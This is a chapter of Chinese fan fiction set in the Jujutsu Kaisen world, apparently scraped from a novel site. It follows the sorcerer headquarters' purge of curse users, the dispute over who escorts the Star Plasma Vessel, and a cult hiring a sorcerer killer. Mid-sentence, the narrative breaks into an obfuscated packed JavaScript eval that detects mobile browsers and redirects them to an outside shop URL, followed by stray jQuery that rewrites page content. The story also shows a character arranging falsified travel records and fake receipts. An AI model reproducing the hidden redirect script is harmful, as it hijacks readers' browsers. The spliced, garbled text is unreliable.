98.潮起

作品:《批皮咒术师的混子日常

    事实证明,咒术总监部那群老人家并非完全不做事——尤其是在自身权威受到公然挑衅的时候。


    至少就五条悟了解,当期轮值主席对自己即将黯然结束的职业生涯大为光火,打算在引咎辞职前泄泄心头恶气,顺带给自己挽回些社会形象。


    虽然他指挥不动根基深厚的御三家,但捏住【窗】在情报侦察上出现致命失误、间接导致悲剧这一点,好歹找到了发难由头,给己方圈回一大助力。


    于是,一场规模罕见的“清扫”行动,在总监部的强硬推动下迅速展开。


    能被总监部直接调动的一级、二级咒术师们被从日常任务或待命状态中抽离出来,奉命直扑诅咒师们活跃的线下黑市、秘密集会和几大已知灰色据点。


    动作之迅猛、态度之强硬,大有荡平对面的架势。


    尤其在某次突袭中,众术师在一处地下集会祭坛上发现用仓木二级手骨制成的咒物,总监部发出的“就地格杀”命令更显名正言顺,连跃跃欲试想插一脚的霓虹政府都不好对这种“清除极端危险分子”行动指摘什么。


    十几年未受到过如此大张旗鼓的围剿,诅咒师那边似乎也有些措手不及。


    几个规模较大的诅咒师集团在事件发生之初便嗅到危险,装死架势摆了个十乘十。不仅严令麾下成员近期收敛行迹,避免与总监部人员正面接触,甚至在接连被端掉几个外围场子和交易点时硬是按兵不动。


    他们甚至“识趣”地卡着时间,给总监部的收发室寄去了一封措辞“诚恳”的联合声明。


    声明中,他们痛斥了某些“不守规矩”、“肆意妄为”的“流散诅咒师”,声称正是这些害群之马破坏了平衡,并将几个有名有姓的倒霉蛋卖了个底朝天。


    总监部调查后发现,这几人行事恰好与袭击事件中某些特征、痕迹吻合。


    再回过头看“不守规矩”字样,总监部成员们几乎要笑出声来——诅咒师群体不是出了名的没规矩?


    可在这封声明透露出的逻辑里,诅咒师们再我行我素,也有默认的“规矩”和“界限”——接富豪权贵的暗杀订单,追猎拥有特殊体质的普通人,甚至挑落单且实力不济的咒术师下手都能算作“灰色地带”博弈。


    但谁会有计划地去扇正规军的脸?


    如果说仓木二级和青木监督之死大家还能糊弄糊弄过去,接到消息过去援助的两位一级咒术师还被围点打援就过分了。扇第一下还能用失手狡辩,第二下哪怕是头猪都知道打人者心存故意。


    诅咒师头子们坐下来一合计,发现还是把那几个出清最最安全。反正不是他们手下,能力也不算多稀缺,脑子看起来更是不太好使,卖也就卖了,好歹让对面泄个火做个样子,让他们对自己手底下的咒术师们交代不是?


    总监部的委员们传阅了那封声明,品出了对面几家隐约有联合自保、甚至隐隐形成更紧密同盟以对抗压力的苗头。


    他们掂量了一下手中可用的“亲军”和“基本盘”,每个一级术师折损都足以让他们肉痛不已,故而迟迟做不下“连带老虎一起打”的决断。


    由此,声势浩大的行动在五天后开始有了和缓架势,被派出去暂时顶工作的高专学生们也接到交接通知,陆续回校。


    除了一个人——


    屡次得罪总监部的中森树理没那么幸运,没拿到交接通知不说,还碰了个软钉子,在一连串“辛苦您”、“再辛苦一下”的道歉声中目视总监部派的辅助监督驶离。


    她足足被安排了6个任务,每张线索呈报表都标上[疑似]字样,紧急程度处一片空白,点与点的间隔距离还都相距甚远,明摆着整她。


    本想着咒术开发刚摸出些眉目,返校正好让悟见识见识,现下期待值瞬间打了个对折。中森树理翻了个白眼,对总监部low到谷底的行为不予置评,抬腿朝小镇方向疾驰而去。


    昨天看镇上有家手制冰激凌,正好去尝尝抹茶味道好不好吃。


    至于任务?总监部应该是用一般通行时间加平均结束任务时间推算出的15日任务期,可他们没想到她刚好能卡这个bug。


    她哼笑一声,跃到根粗壮枝丫上,掏出手机拜托道:“弘树,可以帮我在铁路系统里留个痕吗?”


    男孩文雅的声音从那头传来:“可以。另外,这次照例做些假票备着吗?出租、餐食、住宿都开上。”


    “呜哇!感谢弘树大人!”欢呼中的中森树理不知道,此次飞来横祸不全因为之前那两回冲突,还因为不久前【窗】递给总监部的一纸文书。


    不过,与其说【窗】交去总监部的是一张纸,不如说那是咒术界约定俗成的规矩之一。而这条规矩,御三家老者们可比总监部这些尚未富过第三代的小家主门清楚得多。


    千百年来,这桩大事由御三家张罗,咒术总监部仅在其成立后主持过两次,其中一次还失败了。这次同化,正是上次失败的弥补之行,于咒术总监部而言相当要紧。


    一群喜欢搞阴谋算计的老东西眼观鼻鼻观心,在重大历史事件面前终于将只剩半点的良心捡了回来,开始用心准备星浆体同化仪式。


    可就在仪式准备过半之际,一封追加要求直接让老叔叔老爷爷们炸开锅——


    “什么叫‘由东京高专二年级生五条悟、夏油杰、中森树理三人负责护送星浆体’?”纸张传了n手,到鱼尾胡老者手上时已经成了张皱巴巴的纸。


    “我们安排的也是一级咒术师!立场和思想绝对可靠!怎么都比两个未成年毛孩子合适才对吧?!”他气的直抖,纸也哗啦啦的响:


    “点夏油君可以理解,可怎么还有五条悟?甚至那个做事毫无规矩、不讲道理的中森树理都被考虑进去!我们拟出来的护送队伍还不够?天元大人对总监部一点信任都没有吗?”


    “行了。”场地中央的老者端坐着,满脸写着“四平八稳”,眼睛古井无波:“这又不是什么美差,做好无嘉奖,办差出大事,换人何至于让诸位如此大动肝火?


    【窗】将信函呈递到此处,是认了总监部的管理,天元大人需要谁,我等令东京高专协调办理即可。


    诸位不必争议加五条悟是否合理,一来御三家历史上长期负责同化仪式,五条家某位【六眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015069|176538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    】为护送成功过,天元大人念旧也属正常;二来我等是向高专下令,并非与五条家沟通,五条悟作为学生,听总监部号令安排有何不妥?”


    喧闹声顿停,出现一些抚掌赞同声。


    “是极,是极!”


    “高专生也是我部咒术师,听从安排没什么不对。”


    “我总监部自有容人之量。”


    ……


    场上众人心如明镜。五条悟合理,可不代表中森树理合理。且不说她不乖不顺的倾向,就其隐隐偏向霓虹政府的立场,谁敢加她?再叫霓虹政府插手【窗】组织,蛋糕越分越少,自家还过不过了?!


    场中央的老者耷下眉,面部表情被掩得严严实实:“清扫行动如火如荼,参与的咒术师们也辛苦了,合该在高爆发期前给他们放个短假。


    不过扫尾工作还需要人做,日常任务也得有人维持,得好好想想。”


    记录人员联系前后文一想,瞬间了然,合上记录本往人事部和办公室跑,张罗明面章程去了。


    微末动静在水面下悄然进行,只待时间将之发酵成滔天巨浪,将众人卷入水中。


    ————————


    在家躺了两天,中森树理收到前线播报——「我不知道,他们俩被夜蛾老师提溜走了,应该是有什么任务委托。」


    她点按几下,前几条来自硝子的消息依次映在瞳膜上。


    「五条又开始挑衅夏油的正论,可能要打起来。」


    「找到歌姬学姐了,看起来没问题,即使有伤可能也没五条气出来的内伤重。」


    ……


    轻啜一口冰饮,中森树理轻笑着回信:「我准备明天开始慢慢清任务,干半天玩半天,结束后发消息。你要不先考虑想去哪玩?多远都行,我回来接你们就是。」


    正在兴奋探讨的两个女孩不知道,暗潮已然涌动。


    与此同时,盘星教总部——


    额顶脂肪瘤,方形下颌异常突出的男性轻叩雕花大门。


    得到应允后,男人躬身而入。他双眼始终低垂,凝视着脚下昂贵的暗红色地毯,眼底深处翻涌着一种难以言喻、近乎狂热的虔诚。


    男人在距离宽大红木桌前数步处停下,对着那张背对他的高背皮质座椅深深弯下腰。


    “遵照您的吩咐,已经发布悬赏任务,您提到的暗网中介孔时雨在交涉对象中。刚接到孔时雨回复,‘术师杀手’伏黑甚尔接受任务指定,不过他要求我们这边先付部分款项。”


    椅背边伸出一只手,白净手背漫不经心地轻轻向后扇了下,颇有磁性的男声传出,听不出什么情绪:“满足他。”


    “是!绝不允许污秽的星浆体沾染天元大人半分!”他保持躬身姿态,极尽恭顺地一步步退出这间充满压迫感的办公室。


    厚重木门无声合拢。


    几秒后,那张高背皮椅缓缓旋转一百八十度,缝合线贯穿整个前额的半长发男子正对红木办公桌,下巴轻置于交叠的双手之上。


    他似悲似叹,凝视着空气中某个不存在的点,低声自语:


    “有意思了。”